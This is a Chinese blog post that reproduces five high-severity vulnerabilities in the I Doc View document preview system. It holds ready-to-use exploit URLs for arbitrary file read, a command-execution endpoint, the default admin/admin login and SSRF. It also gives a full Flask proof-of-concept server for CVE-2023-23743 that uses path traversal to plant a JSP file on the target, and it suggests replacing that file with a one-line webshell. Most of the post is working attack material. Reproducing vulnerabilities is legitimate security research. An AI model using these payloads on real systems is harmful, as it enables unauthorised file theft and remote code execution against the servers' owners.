I Doc View 多个高危漏洞复现

最新推荐文章于 2023-12-24 15:41:59 发布

fly夏天

最新推荐文章于 2023-12-24 15:41:59 发布

阅读量674

点赞数 9

分类专栏：漏洞复现文章标签：漏洞复现 I Doc View

本文链接：https://blog.csdn.net/xiayu729100940/article/details/135068973

版权

漏洞复现专栏收录该内容

22 篇文章 1 订阅

订阅专栏

I Doc View在线文档预览是一款在线文档预览系统。近期出现了多个高危漏洞，因此集中复现一下，有兴趣的童鞋可以收藏一下。#头条首发挑战赛#

1.Upload接口任意文件读取漏洞

1.1 漏洞级别

高危

1.2 漏洞描述

I Doc View存在代码执行漏洞，使得攻击者可以通过利用这个接口，触发服务器下载并解析恶意文件，从而导致远程命令执行漏洞。

1.3 漏洞复现

这里展示一个读取本地文件的方法

访问：

url/doc/upload?token=testtoken&url=file:///C:/windows/win.ini&name=test.txt

响应结果如下：
在这里插入图片描述
提取生成的srcUrl,构造：

url/srcUrl
我这里是 url/data/test/2023/1210/10/101554_167_qTZPojt.txt

访问该链接，即可获取文件内容
在这里插入图片描述

2.system任意文件读取漏洞

2.1 漏洞级别

高危

2.2 漏洞描述

I Doc View存在代码执行漏洞，使得攻击者可以通过利用这个接口读取任意文件的内容。

2.3 漏洞复现

构造payload:

url/system/cmd.json?cmd=type+c:\\Windows\win.ini

响应结果如下：
在这里插入图片描述

3.后台登录弱口令漏洞

3.1 漏洞级别

高危

3.2 漏洞描述

系统存在默认弱口令，若未修改则可以登录。

3.3漏洞复现

访问

url/user/login     #默认登录地址

默认账号密码

admin/admin

成功登录
在这里插入图片描述

4.SSRF漏洞

4.1 漏洞级别

高危

4.2 漏洞描述

文档读取功能未进行限制，可以读取任意文件，触发ssrf。

4.3漏洞复现

构造

url/view/url?url=dnslog

访问链接，查看dnslog回显
在这里插入图片描述成功触发ssrf

5.CVE-2023-23743 RCE漏洞

5.1 漏洞级别

高危

5.2 漏洞描述

I Doc View在线文档预览系统“/html/2word”的参数“url”存在文件上传漏洞，该漏洞存在于I Doc View的远程页面缓存功能中。由于应用程序无法完全验证用户输入URL的安全性，攻击者可以构建特殊的URL，使服务器下载恶意文件并执行任意代码。

5.3 利用范围

iDocView < 13.10.1_20231115

5.4 漏洞复现

在服务器上运行一个python脚本，代码如下：

from flask import Flask
import argparse

parse = argparse.ArgumentParser()
parse.add_argument("-port", type=int, help="Save port.", default=8888)
args = parse.parse_args()

app = Flask(__name__)


@app.route('/index.html')
def index():
  return """<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
  <title>title</title>
    <link rel="stylesheet" href="..\\..\\..\\docview\\1.jsp">
</head>
<body>
</body>
</html>"""


@app.route('/..\\..\\..\\docview\\1.jsp')
def jsp_file():
  return '''<% 
out.print("This is a  test!");
%>'''


if __name__ == '__main__':
  app.run(host="0.0.0.0", port=args.port)

在服务器上运行该代码并指定启动端口

python3 poc.py -port 8888  
#可以指定任意端口

构造攻击链接：

url/html/2word?url=http://ip:port/index.html

在服务器上可以看到目标网站的访问记录
在这里插入图片描述此时访问 url/1.jsp,已经成功被上传。这里用的是test语句，如果想要进一步利用，可以在python代码中将生成的jsp文件内容修改成jsp一句话。
近期爆出来的i doc view的漏洞应该都包含在内了，感谢您的观看，有问题欢迎留言交流～